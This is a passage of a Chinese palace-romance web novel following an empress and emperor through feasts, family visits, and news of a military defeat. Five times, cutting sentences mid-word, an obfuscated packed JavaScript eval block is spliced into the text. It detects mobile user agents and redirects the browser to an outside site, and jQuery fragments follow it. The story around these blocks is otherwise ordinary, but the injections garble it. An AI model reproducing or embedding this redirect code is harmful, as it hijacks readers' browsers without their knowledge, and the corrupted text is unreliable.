“我觉得吧,肯定是北幽皇后的人选定不下来,这后面,太后还有和摄政王的博弈呢。 没准,还有护国公主推的人呢,三方势力争斗,哪里那么容易选出一个皇后啊? 那小皇帝也就十六七吧?正是血气方刚的年纪,能有什么隐疾啊?就算没皇后,他的后宫也少不了人。 只可惜,北幽没有从民间选秀的传统,要不然,咱们可以安排秀女进宫去。 那时候,弄一张护国公主的画像,还不是轻飘飘的。” 萧北铭眯起眼睛看着他, “你十六七的时候,也血气方刚吗?” 乌二愕然,他终于明白皇上想问啥了, “皇上,咱都是从十六七过来的,那时候,咱们都让那护国公主熊成啥样了? 玄铁营动不动就搞夜袭,咱晚上睡觉都不敢脱鞋子,哪里还有心思想其他的?” 萧北铭挑眉,目光意味深长, “那你现在呢?” 乌二有些难为情,低下了头,不去看他的眼睛,小声道, “现在,我也是一点心思都没有。” 萧北铭同情的眼神看向他, “要不然,找太医治一治?” 乌二惊骇抬眸,直摇头, “谢皇上关心,真不用,我正常着呢,天天早上都很正常。” 萧北铭蹙眉狐疑, “莫非,你不喜欢女子?其实,朕也不是那么迂腐的人,只要你说个名字,朕就什么都不过问了,直接给你指婚。 至于辅国将军那边,朕给你扛着,只要你开心就好。” 乌二瞠目: 我的皇上诶!你听听你在说什么? 你这才过上几天双宿**的日子,就全然不记得自己当年是怎么抗旨拒婚的了? 自从认识了皇后,你说话是越来越颠了。 真是一个被窝睡不出两种人。 你是想用这些无端的荒谬猜测,把我尴尬死吗…… 只是,这些话,乌二只敢在心里想想,他没种宣之于口,只能跪地叩首,求皇上放过他。 彼时,苏苡安正在勤政殿的后院陪读。 苏怀仁认真地教着三个孩子写字。 萧晏依旧稳定发挥,写字跟蚂蚁爬一样。 魏严横平竖直,写得工工整整。 至于乌豆,只是拿着毛笔在手里,干瞪眼,从来不动笔,也没表情。 也不知道他这些日子,学没学会一个字。 不过,苏苡安也完全不介意,无所谓的事,重在参与嘛,主打一个陪伴价值。 侍卫进来报, “皇后娘娘,裴将军来了。” 苏苡安拍了拍萧晏的后背,离开了他的小书房,去前殿见客。 裴思远大老远的就兴奋上地喊上了, “姊姊,姐夫调派我去了京畿营做副将,来年,我就可以带兵回南疆,和我爹一起并肩作战攻打百越了!” 苏苡安装腔作势地捂住了耳朵, “哎哑,这种军机大事,我这个后宫妇人可以听吗?” 裴思远十分配合道,“那我就说点你能听的,我爹说要把我小弟弟送来上京,让我阿娘养着。” 苏苡安微微一笑: 镇南大将军,很懂事啊,怕皇上忌惮他拥兵自重,大儿子要回去了,又忙慌把小儿子送上京城做人质。 只是,可怜我嬢嬢了,从此见不到自己的亲儿子,还要给小妾养儿子。 女人和孩子,从来都是权力游戏的牺牲品…… 两个人聊了一会儿,裴思远终于问出了他此行的主要目的, “姊姊,你可有乌三的消息?” 苏苡安狡黠一笑,“你别说,还真有,但是,我不能白白告诉你。” 裴思远特别爽快道,“你说,你要吃什么,我请。” “我要吃麻花。” “好说,一会儿,我给你买一篮子回来。” “我听说,乌三可能耐了,把手下的新兵蛋子,打得服服帖帖的,现在,都升任百夫长了。” 裴思远一脸遗憾,“啊?她也太厉害了,我原本以为,她去了吃不了戍边的苦,会哭着回来,照现在的形式,她是不是就不会回来了?” 苏苡安看着他一脸失望的表情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15422953|169099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,默默同情了他一秒钟, “这个我就不知道了,你可以自己给她写信问问。” 裴思远正色道, “姊姊你不懂,我现在是京畿营的副统领,不能打听镇北军的事,军队之间,不能私联,有勾结**的嫌疑。” 苏苡安给他出了个主意, “不能说政事,你可以写家书嘛,让乌二给他妹妹写信的时候,顺便把你的信一起装上就行了,谁都挑不出毛病。” 裴思远马上又矫情起来了, “我跟她都不熟,写什么家书嘛?真是的。 她若是知道我现在是京畿营的副统领,不得嫉妒死,我多善良啊,怎么能让她英年早逝呢。” 苏苡安笑道,“那你就不怕她英年早婚了,新郎不是你?” 裴思远心中有数,乌三现在正是干劲足的时候,她一门心思想在战场上建功立业,谁让她这个时候嫁人,她肯定会一剑劈死谁的。 思及此,裴思远一脸嫌弃地说道, “她那种千年祸害,谁要是娶她,那肯定是倒了八辈子血霉了,她肯定嫁不出去,我也不要她。” 苏苡安笑而不接茬, “说完了,咱们去买好吃的吧,然后,去看看嬢嬢。” “好嘞!” 苏苡安骑马,裴思远牵马。 “姊姊这皇后当得可真是潇洒,皇宫里可以骑马,宫门随便出入,姐夫也太宠你了。” “羡慕?哪天我皇后当腻了,让给你当当。” 裴思远吓得连忙左顾右盼,偷感十足,见周围的侍卫都离得很远,大概齐是没听见,小小地舒了一口气, “姊姊,你说话之前过过脑子吧?天下多少女人想当皇后,你说这话,再给姐夫气到。到时候搞出来个三宫六院,可没你的好果子吃。” “我不吃好果子,我要吃麻花,你能不能走快点啊?” “咱们去城南十八路买麻花吧,老张头炸的麻花可真是一绝,又甜又脆,再撒上芝麻,简直就是人间至味,我都好些日子没吃过了,现在想想都有点流口水了。” “大馋小子,你也就这点出息了。” 第209章 那护国公主是唐僧肉吗? 两个人终于来到了宫门口的拴马处,裴思远飞身上马,回眸一笑, “姊姊,跟好了,跟丢了我可不找你~” “好!” 二人并驾齐驱,到了城南老张头的麻花铺子买了许多麻花,又调转马头,去了城西的裴府。 霍青璇见到苏苡安,喜不自胜,跪地行大礼, “臣妇见过皇后娘娘。” 苏苡安赶紧上前搀扶, “嬢嬢不要这么拘礼,和以前一样,叫我名字就好。” “可不敢,娘娘不介意,那些文官谏臣,可是要用吐沫性子淹死我镇南将军府的。” 霍青璇心情大好,人都比从前显得年轻了几岁。 本来,她和儿子战战兢兢入上京做人质,前路未卜。 却不曾想,还需要她撑腰的可怜兮兮的外甥女摇身一变,成了当朝的皇后。 愣头青儿子,不声不响地弄了一个从龙之功出来。 满门的泼天富贵说来就来了! 苏苡安牵起了她的手, “嬢嬢,咱们去镇北王府玩啊,现在正是赏银杏落叶的好时节。” 霍青璇含泪微笑: “好。” 镇北王府里,基本还保持着当年忠勇侯府的样子,尤其是后院,几乎一模一样。 只是,物是人非,霍青璇看到院中落叶满地的银杏树,当场洒泪, “从前,我和姐姐就在这棵树下读书,练武……可惜,你娘看不到你风光做皇后了……” 苏苡安拥抱了她, “我娘看得到的,她在天上看着咱们呢。 嬢嬢,咱们一定要好好生活,我娘才能安心呢。” 霍青璇哽咽点头, “嗯……” 裴思远也是眼眶湿润,哽咽道,“阿娘,你放心,等我带兵去把百越大军打得落花流水,再砍掉百越皇的脑袋,为外公和舅舅们报仇!” 霍青璇连连点头,哭着哭着就笑了, “我儿终于长大了。” 彼时,高夫人扶着如箩大肚,在丫鬟的搀扶下走了过来, “臣妇,拜见皇后娘娘。” 说着话,就要费劲地下跪。 苏苡安赶紧上前两步,架着她的胳膊阻止了她, “免礼,你这两日就要生了吧?” 高夫人点点头,“有劳皇后挂记,就是这几日。” “产婆可找好了?” 高夫人含羞点头,“都找好了,夫君不放心我初次生产,找了两个呢。” 苏苡安瞧着高升没来请安,大概也不在这里,就问道, “高升跑哪里去了?不是让他在家陪你吗?” “秋收了,他去庄子上看看。” “一个武威将军,还想着庄子上那点粮食,真不够他操心的。” 高夫人正色道, “夫君说,粮食是比他的命还重要的东西,千万不可大意。 有了足够的粮食,才是打胜仗的保证。 将来,他一定献上北幽护国公主的首级,报答皇上皇后的大恩。” 苏苡安抚着她的孕肚,笑道, “他若真的能砍掉那公主的首级,皇上高低也得破例给他封个侯。” “我们不图封赏,砍掉北幽护国公主的头颅,是每一个镇北军将士的心愿。” 苏苡安敷衍地笑了笑, “嗯,镇北军的将士,就是心齐。” 她也不知道是怎么回事,每每听见身边的人赌咒发誓说要取那护国公主的首级献给皇上,她心里就不舒服…… 一个个都是一副深恶痛疾,恨不能饮其血,啖其肉的样子。 咋地,那护国公主是唐僧肉吗? 彼时,霍青璇也走了过来,笑语盈盈道, “高夫人,我看你这肚子形状,跟我怀阿远的时候,一样一样的,是个儿子稳稳的,将来啊,可以子承父业。” 高夫人一脸幸福笑, “那两个产婆也都说,我这是男胎。” 苏苡安做不经意间拉了拉的高夫人的手腕,给她切了脉,她觉得,这是个女胎。 虽然,她不擅长妇科,但是,切脉判断男女,是她的兴趣,特意钻研过的。 她怕他们生出女儿会失望,以后对这个孩子不好,就说道, “生男生女都无所谓啊,健康就好,到时候,我来给你们的宝宝起名字。” 高夫人受宠若惊,“多谢皇后娘娘赐名,真是天大的福气。” 浅聊了几句,苏苡安就打发高夫人回房休息,她和嬢嬢,坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15422954|169099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在银杏树下喝茶吃麻花,聊天。 本来,苏苡安以为嬢嬢会跟她抱怨养妾生子的事,还打算开解开解她,没想到,嬢嬢自己就想开, “养孩子嘛,就是谁养跟谁亲。 我就是忠勇侯府养大的,这事情,我能不清楚嘛。 这是件好事,我不用生,就白捡一个儿子,多好啊。” 从前,苏苡安觉得给别人养儿子,是件稳赔不赚的买卖,傻子才干。 多尔衮都搞不定的事情,别人就不要尝试了。 可是,自从她养了晏儿,感觉,这买卖好像也没那么亏。 起码,她看到晏儿就开心,也算是换到了情绪价值。 有钱难买我开心嘛。 霍青璇见她连连微笑点头,一脸幸福溢于言表的模样,又马上改口, “我是有亲生的儿子了,再多一个庶子,才是锦上添花。 皇后娘娘,你可得抓紧调理好身子,生个嫡出的皇子才好啊。 大皇子,真的太过伶俐了,对你以后来说,绝对不是什么好事。 皇位只有一个啊!” 苏苡安只是点点头,不说话,没必要跟嬢嬢解释那些。 她现在还在享受美好的二人世界,可没打算这么早要孩子。 起码,也要等晏儿大一些,懂事一些,别一听说她有孕,就要寻死觅活的,哭得她心肝都疼,看不了一点。 苏苡安回宫的时候,天已经黑透了,宫门已经下钥了。 她一人一马往宫门口一靠近,城楼上的守卫就喊开了, “恭迎皇后娘娘回宫。” 苏苡安策马进去,笑道, “刘奎,今儿嗓门挺洪亮啊,晚上吃了几碗饭啊?” 刘奎咧嘴一笑,“回娘娘的话,吃了三碗。” “挺好,这饭真没白吃。” 皇宫的守卫禁军都是出自镇北王府的,都是老熟人。 如今,苏苡安作为他们的直属上司,能记住每一个人的名字,聊着家常,就进去了。 从前,皇后在潜邸的时候就平易近人,整日脸上挂着笑,对他们出手也大方。 如今做了皇后,更是依然如故,在禁军里面的威望极高,人缘极好,俨然已经超过了皇上。 第210章 你想不想跟我住一起? 苏苡安一路打马,回了勤政殿。 萧北铭还饿着肚子,一边在御书房批折子,一边等媳妇回来一起用晚膳。 她回来晚了,他不高兴了,但是,也不好开口责备。 因为他知道,说了她,她也不会改,只能默默在心里憋怨气。 苏苡安走进御书房,打开了纸包的麻花,往桌上一放, “我特意大老远去城南买回来的小麻花,你批折子,饿的时候,可以垫一垫肚子。” 萧北铭闻言,心中的憋闷立即就释然了: 我媳妇出门玩还惦记着我饿不饿呢,真好。 苏苡安捻起一根小麻花,塞到他的嘴里, “明儿我想去庄子上玩,你要去吗?” 萧北铭幽怨的眼神看着她, “你觉得我能走得开吗?” 新帝登基,又赶上江南瘟疫,还要准备南疆的战事,正是忙的时候。 苏苡安讪讪一笑,“好像不能哈,那我就带你的大皇子去了,体验一下劳动最光荣,顺便教教他粒粒皆辛苦的道理,后天就回来。” “你这是通知我呢,还是跟我商量?” “通知。” 萧北铭深感无奈: 一来,他诸事繁多,实在走不开,二来,为了开源节流,他把今年的皇家秋狩都取消了。 她这么闹腾的性格,不能去打猎了,肯定是要自己找乐子的,嘴上说是出去玩两天,没准没有五六天都回不来。 可是,若不让她去,她大概就偷偷去了。 思及此,萧北铭只能哀怨道, “多带几个侍卫,早去早回,别让我等太久。” 只是,出乎萧北铭的意料,她说两天,还真就两天就回来了。 苏苡安一回来,就径直冲进了他的怀里,在他的耳畔低语, “阿禛,我好想你,更想睡醒枕边有你。” 萧北铭的心头一颤,那一刻,他理解了那些贪恋美色不早朝的昏君。 如果没有国仇家恨,没有那些积年旧恨,没有那些他必须要坐到龙椅上才能解决的矛盾。 他愿意只做一个富贵闲散的王爷,天天都和她在一起,和她恩爱缠绵…… 这一日,萧晏和魏严还有乌豆一起用午膳。 萧晏卖力地推销今日的主食: 花卷。 “这可是我和我娘去庄子上收回来的麦子做的花卷,你们得多吃点才算给我面子。” 乌豆正是半大小子吃穷老子的年纪,不声不响,一个接一个,风卷残云般地吃了十个花卷。 魏严则很讲究地小口小口吃,吃得秀气又文雅,人家吃完十个,他才吃完一个,还说吃饱了。 萧晏不干了, “这可是我辛辛苦苦顶着大太阳割回来的麦子,你怎么就吃一个?我都吃了三个,你比我大三岁呢,起码要吃六个。” 魏严骇然,“大皇子是想撑死我吗?” 萧晏笑道,“不吃六个,起码也要吃两个呀!这可是我辛辛苦苦收的麦子。” 魏严只能硬着头皮,又吃了一个花卷,吃完口渴都不敢喝水,他怕给自己胀死。 萧晏抓着魏严细细的手腕看了又看, “唉,明明比我大,胳膊还没我粗,你府上做饭是不是不好吃啊? 要不然,你就住在宫里吧? 这样,你一早一晚也能跟我一起吃饭了,你就可以长胖些了。” 魏严一副小大人的样子严词拒绝, “不行,这不合规矩。” 萧晏撅起了小嘴, “规矩就是用来打破的,现在宫里是我娘亲说话算,我去求她,她肯定同意。 你需只告诉我,你想不想跟我住一起?” 魏严犹豫片刻,“我不想。” 萧晏无比失望, “为什么?你不想跟我做好朋友了吗?” 魏严糯糯道,“不是,是因为,我不想长胖……” 萧晏轻松了一瞬,不是讨厌他就好, “长胖怎么了?胖人有福气。 再说,你现在正在长身体,肯定是竖着长。 你若实在怕胖,可以早上和我一起出晨功,多运动就不会胖了。 你就在宫里和我一起住嘛,晚上我一个人,很无聊的,我总想你。” 魏严想了想,“那我得回家问问祖父,我做不了主。” 萧晏,“先不管你祖父了,你现在只需要告诉我,你是否愿意。” 魏严点头,“我晚上在家,也经常想你。” “嘿嘿,那就好。”萧晏高兴了,又转头对乌豆说,“还有你,你也进宫住,我派人和你祖父说。” 乌豆自然是不会表达自己的看法,乌壮壮也是宫里说啥就是啥,完全听安排 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15422955|169099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是了。 就这样,魏严和乌豆都住进了勤政殿,就一左一右住在萧晏的隔壁房间。 只是,魏严住进来的第一晚,就知道他被萧晏骗了。 萧晏晚上一点都不无聊,他忙得很。 晚上要跟他的小亲卫们一起上太医教的基础医术课,认药材,学药理还有配药。 皇后还动不动就来抽考,凡是背不下来药理者,错一个字就要罚倒立,说是这样才能把脑子里进的水都倒出来。 平日里,他在家的时候,晚上吃过饭,读半个时辰书就可以就寝了。 现在好了,晚课要上到戌时末,然后,再额外陪萧晏背医书要背到亥时末。 因为,萧晏太要强了,他要做这群人里最出色的,总是给自己加课。 天一亮,就要起来出晨功,一个时辰,然后才能吃早膳。 忙活一通,这才到他们平日里跟苏先生读书的时间。 萧晏说的晚上总想他,大概就是想让他帮他看看不认识的字吧…… 不过,魏严也敬佩起萧晏来了。 世人都说大皇子天资聪慧,可是,他背后比谁都努力,每天都是起得最早,睡得最晚的。 从前,别人也夸他是小神童来着,他却自视清高,不够努力,真是自愧不如。 一定要和大皇子一样努力才行。 只是,魏严没坚持几天,就被这种高强度的学习生活累病。 但是,魏严也是个要强的,病倒了好几次,家里人说要接他回去,他也坚持不回。 他可不想被大皇子看扁了,也不想被别人比下去。 只是,心有余而力不足,磕磕绊绊,好了病,病了好,从此得了一个病秧子的称号…… 高升的女儿出生了,他挺不开心的。 本来,他满心期待第一个孩子是个儿子,好子承父业。 高夫人见夫君不高兴,也整日郁郁寡欢垂泪,并且保证出了月子就继续生,一定要给他生出儿子为止。 苏苡安上门看望,包了大红包,还给他们的女儿取了一个名字,叫高瑜。 还告诉他们,谁说女子不如男,女儿也可以从军承副业。 皇后亲自走了这一趟,讲了好些道理,他们这小两口也才终于有了做父母的喜悦。 高夫人也所幸,没有落下产后抑郁…… 第211章 祸国妖后 一晃,秋去冬来,就要过年了。 今年淮南送来的两船贡橘,萧北铭一股脑地都送给了苏苡安。 去年那种她为几个橘子发愁的事,以后,再也不会发生了。 萧晏无意间说起这是他第一次吃蜜桔。 苏苡安又揪心了许久,暗自骂了一遍自己不是个东西,去年怎么就没给晏儿留几个橘子呢…… 这一次,她给勤政殿留了足够吃的蜜桔,剩下的,都运去了安康郡主府,继续她的青霉素提取实验。 今年,她把郡主府的主殿,都改成了暖阁,派了人日夜及时喷水,确保温度湿度足够让这些橘子发霉。 一旦南离和百越开战,百越那么热,一点小伤口就可能感染要了人命。 如果有了青霉素,可以大大提高将士们的存活率。 同时,苏苡安还发挥所长,写了《军医速成手册》,在军中选拔识字的将士,往军医方向培养。 她每日都会去郡主府,亲自授课,为南疆一战尽她的力量。 只是,这些事情,传出去就变了样。 传闻,安康郡主府有好多年轻男子出入,他们都是皇后养的男宠。 萧佩玖找到了苏苡安,问她要不要查一下,这荒谬的谣言是从哪里传出来的。 苏苡安不以为意, “无妨,只要你皇兄不误会就好,我没必要跟旁人澄清什么。” 萧佩玖一脸愁容, “我还听说,有谣言说你是祸国妖后,蛊惑得今上禁足生母。 怎么办啊?要不然,找皇兄查一查源头吧?最不济,也要告诉乌二将军。” 苏苡安用脚趾头想想就知道,做出这种事情,肯定是为太后鸣不平,那只能是太后的亲戚,白府。 看在白婳婳是她大客户的份上,放他们一马吧。 再者说,萧北铭若再杀母族的亲戚,对他的名声也不好,本来上位就不光彩,再杀,就要成**了。 苏苡安摇摇头, “太后被禁足,是事实,流言蜚语伤害不到我,太后若是被放出来啊,却是真正的能给我添堵。 这锅啊,我得背着。 而且,现在眼前最重要的事,是准备对百越开战的事。 皇上和乌二都忙得没日没夜的,有时候吃饭都顾不上,咱们就不要用这些小事去烦他们了。 你现在要做的,就是让后宫的太上皇和那些太妃们,过个好年,不用担心我,我真的不在意别人对我的看法。” 到了大年三十这一日,苏苡安还在安康郡主府给军医们授课。 课程结束了,她也没急着回宫,而是想着把刚刚想出来的一个方子写进药典里。 萧北铭结束了政务,就亲自来接她回宫。 走进了书房,苏苡安头都没抬。 萧北铭站在她的身后,看着纸上隽秀的正楷,问道, “媳妇,忙什么呢?” “写疑难杂症宝典呢,等我一下哈,马上就写完了。” “军医还用得上这个?” “用不上啊,这是我给我药铺的郎中们写的。 我都不瞒你,这方子,至少十两银子起步,遇见富贵的,立即坐地起价一百两。” 萧北铭觉得有点难以理解,“你的病人知道,是当朝的皇后,大年三十写方子,想坑他们区区一百两吗?” “你和赚钱,都是我的兴趣,缺一不可。 钱都是一点一点赚的,不能嫌钱少,你不爱财,财就不爱你了。” 苏苡安头也不抬,很正经的语气说了这句话,又写了两行, “好了,完活儿,回宫包饺子了!” 萧北铭握住了她的手,满眼宠溺, “不用这么辛苦吧,这双手用来做饭,太浪费了。” “一点都不浪费,我还要亲自包铜钱饺子呢。” 萧北铭就更不理解了,“中宫表笺,你是一个字都没写啊,你到底有什么愿望啊。” 苏苡安笑笑, “我不是还没想好嘛,不急,容我想想。 勤政殿里又不是只住我自己,还有为你堵上九族性命随你逼宫的那些将士们呢。 今年咱们在一起过年,可不得乐呵乐呵吗?” 萧北铭酸呼呼道,“他们是真乐呵了,可以吃皇后亲手包的饺子了。” 萧晏洗干净了小手,跟着娘亲学包饺子。 聪明人,学什么都快,他包出来的小饺子,和他娘亲的一模一样,褶子都一般多。 苏苡安拿了五枚铜钱,清洗干净,开始往饺子里面包。 萧晏偷偷摸摸地往其中的一个铜钱饺子上,掐了一个指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15422956|169099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甲印。 苏苡安看见了也就当没看见: 小家伙,心眼子还挺多的,也不知道,他有什么愿望。 勤政殿的主仆,一起过大年。 大厅内,帝后上座,将士们下座。 萧晏带着魏严,乌豆,还有他的小护卫们坐在右边。 乌二带一群大护卫坐在右侧。 吃铜钱饺子的活动如火如荼地展开,陆续开出了三枚铜钱。 得到彩头的将士们跪地跟皇上祈愿,都是中规中矩的愿望,萧北铭都一一满足了他们的愿望。 苏苡安幽怨道, “怎么就没人求我呢,别忘了,我才是你们的顶头上司。 而且,我比皇上还有钱,怎么就没人找我要大红包呢。” 萧晏看到了自己盘子里,正好出现了他做了记号的饺子,立即夹给了魏严, “瞧你瘦的,多吃点。” 魏严可愁坏了,他饭量本来就小,自己桌上这一盘子饺子都吃不完呢。 可是,大皇子亲自给他夹过来的饺子,他也不能不吃。 魏严这一吃,就吃出来了一枚铜钱。 魏严惊喜不已,跪地说他的新年愿望: “小人跟皇后娘娘祈愿,希望皇后娘娘有空了去一次相府,陪我祖父下棋。” 苏苡安笑道, “这个不用你求,本宫也很喜欢同你祖父下棋,得空就去,你自己有什么心愿?” 魏严摇头,“我能陪在大皇子身边,已经是人生最大的福气了,我没有什么心愿。 如果一定要求,能不能求皇后娘娘输给我祖父一次啊,让他过个好年。” 苏苡安很爽快,“你这孩子,也是有孝心,行,本宫正月十五之前,找你祖父下棋,还输给他,让他过个好年,可好?” 魏严叩首谢恩,眼睛明显地亮了起来。 萧晏见他高兴,自己也抿唇笑了起来,又兴冲冲地塞了一个饺子到自己嘴里。 一不小心就被里面的铜钱硌到了牙齿,当场就掉了一颗下门牙。 他是真没想到,自己这么好运,一共五个铜钱饺子,他这一个盘子里竟然盛到了两个。 “呀!晏儿!” 苏苡安紧张地过去查看。 她也是没想到,自己做了记号的饺子,会硌掉晏儿的牙。 第212章 南离败了 萧晏一脸轻松地宽慰她, “没事的,娘亲,我这颗牙都松了好久了,魏严说我也要换牙了,以后还会长出来的。” 苏苡安把心放到了肚子里,摩挲着他的小脑袋瓜,满脸温柔笑, “可不是嘛,咱们的大皇子,也是到了换牙的年纪了,长大了呢。” 萧晏冲着她恭敬跪地, “娘亲,儿有心愿跟你求,但是,我只告诉你一个人。” 苏苡安蹲下身来,侧耳过去。 萧晏站起来,小手捂嘴,凑到她的耳畔, “我想听娘亲给我唱摇篮曲。” 苏苡安爽快地微笑点头, “可以。” 萧北铭耳廓微动,把这小秘密尽收耳底: 她还会唱歌? 都没给我唱过,就要给这小东西唱了,好气啊…… 不行,我可不能吃这么大亏,晚上,就让她给我唱。 今年的除夕,苏苡安去年就答应晏儿要陪他守岁了。 彼时,皇后不发话,这顿年夜饭就不能结束。 在场的也没有外人,大家伙就自然而然地开始热聊起来,就如同他们从前在北疆过得那些个年一样。 乌二喝得满面红光,开心地畅想着未来, “皇上,等咱们打下了百越,就去打北幽吧? 到时候,我要亲手把北幽护国公主的脑袋拧下来。” 萧北铭也是开怀,微醺举杯, “提前为朕的定国将军庆功。” 现场的禁军护卫,无一不是从北疆战场下来的,无一不对北幽护国公主深恶痛绝,现下,群情激愤起来,都发誓要啃她一块肉,除之而后快。 苏苡安莫名觉得过年的好心情就没有了。 一群大老爷们酒后吹牛皮,大过年的讨论吃唐僧肉,恶心不恶心人啊…… 萧北铭今夜喝得有些多了,守岁结束,苏苡安搀扶着他上龙榻。 萧北铭自己倒下的同时,顺势一把把她拽上了床。 “哎呦,别闹,我还要去洗漱呢。” 萧北铭手脚并用,锁着人不松手,醉意迷离地说, “给我唱首歌,我就放你去。” 苏苡安:…… 唱歌? 虽然我五音齐全,可是,我们这种大女人,从来不给人取乐的,我怎么可能给你唱歌啊? “我不会诶,不如,你教教我?” 萧北铭长睫垂落,一脸落寞, “我怎么会唱歌啊?我娘亲从来不给我唱歌,她从来不哄我,只会挑我的毛病,打我巴掌……” 苏苡安看着他这副可怜相,心间一软,如果不是他今日喝多了,他也不会说这样的话吧? “我现在不会唱歌,不过,我可以学,等南疆第一场捷报传来,我再唱歌你听好不好?” “好~” 萧北铭一脸酡红,把人往怀里紧了紧,语气含糊, “媳妇,你真好,我要宠你一辈子。” 苏苡安趁醉套话,“阿禛,你怎么从来不跟我说北幽护国公主的事啊?” 萧北铭哀叹了一声, “说起她我就来气,没必要把不好的情绪带给你了。 你只需知道,她是这世上我最想杀死的人,也是此生必须要杀掉的人就行了。 我夺位,有一半的理由,是为了能北伐,好杀了她……” 萧北铭说到这里,就不胜酒力,陷入了睡梦之中。 苏苡安长长叹了一口气,心中莫名的堵得慌。 他这个样子,将来肯定要亲征北幽吧? 他不会还要带我一起去吧? 我可不想上战场…… 不过,苏苡安转念一想,兴许,攻打下来百越就要十年八年的。 十年八年以后的事情,谁能说得好? 兴许,他们那时候已经掰了呢。 时间如白驹过隙,一转眼,春去秋来。 京畿营开拔,奔赴南疆作战,攻打百越。 帝后亲自送军于城外十里亭。 京畿营主帅和副将跪地拜别帝后。 苏苡安嘱托副将裴思远, “阿远,要听主帅的话,不可贪功冒进,更主要的,是要保护好自己,手脚齐全的活着回来。” 裴思远郑重点头, “姊姊,你就放心吧,我还没娶媳妇呢,可不能英年早逝。 这一别,我可能好多年不能回上京了,劳烦你帮我照顾娘亲。” 苏苡安点头,目送他上马,挥手告别。 此情此景 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15422957|169099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,搞得她眼眸有些湿润。 穿越之前,她是一个感情缺失的特工,活着的目的,就是为了执行基地布置的任务。 她的人情世故,喜怒哀乐,都靠是根据情境需求去演。 而现在,她是真心牵挂这个中二性质很浓的弟弟。 苏苡安目送裴思远的背影消失在视野里,又转头看向萧北铭。 如果他们不逼宫夺位,今日她在这里送走的人,就会是他,那她一定会哭出来的。 唉,到底是真的喜欢上这个美男子了…… 萧北铭看明白了她这一眼的意义,牵起了她的手,和她十指相扣: “我在,我们会一直在一起,永远都不分开。” 彼时,萧北铭也是无比庆幸自己做了逼宫夺位的决定,要不然,此刻领兵远行的人就是他。 他们该如何面对这场没有归期的离别呢…… 两个月后。 南疆的战报传来,萧北铭把自己关在御书房,不出来。 乌二只告诉了苏苡安只言片语: 南离败了,镇南大将军裴桓,阵亡。 苏苡安面色一凛: 她那个素未谋面的姨夫,阵亡了? 从此,阿远没有了父亲,嬢嬢没有了夫君,南离,没有了镇南大将军…… 南离两代帝王精心筹谋了数载的战事,怎么会败得这么惨啊…… 萧北铭把自己关在御书房一天一夜,不吃不喝,苏苡安都不敢去打扰他。 她不知道,他是不是把这场败仗归咎于他没有去领兵。 他登基以后做的第一件大事,失败了。 父皇会怎么看他,朝臣会怎么看他,天下百姓会怎么看他? 此时此刻,任何安慰的语言,都会显得苍白无力。 她活了两辈子,第一次感觉无力。 现在,她好像什么都做不了。 不能安慰自己的夫君,也不敢去看望嬢嬢,只能靠在书房门外,默默心疼着他们。 她扪心自问,这就是一个人正常的同理心嘛? 如果,从前对晏儿的同情纯属意外,那现下,她好像已经修炼出来正常人的感情了。 没有深谙人情世故的演技,全是发自肺腑的真情实感。 第213章 你到底是谁? 苏苡安想找乌二商量一下该怎么劝慰萧北铭,毕竟,他从小和他一起长大,应该是这世上最了解他的人,可是,现下四处找不见人。 